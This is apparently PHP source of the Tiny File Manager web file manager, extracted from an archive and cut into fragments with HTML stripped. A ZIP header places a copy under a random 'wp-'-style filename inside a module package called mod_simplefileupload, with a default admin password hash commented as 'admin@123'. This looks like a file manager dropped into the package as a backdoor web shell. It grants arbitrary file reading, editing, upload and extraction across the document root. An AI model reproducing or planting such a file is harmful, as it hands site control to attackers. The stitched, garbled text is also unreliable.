(strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PKYy>\kv3mod_simplefileuploadv1.3/elements/wp-lu0yua7dhc.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$hXMEvL853yVcJ.wCCZtlj.1SloGD.xt9Ux8Kw80xD8ypjG0RgYHWq', //admin@123 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Available rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath 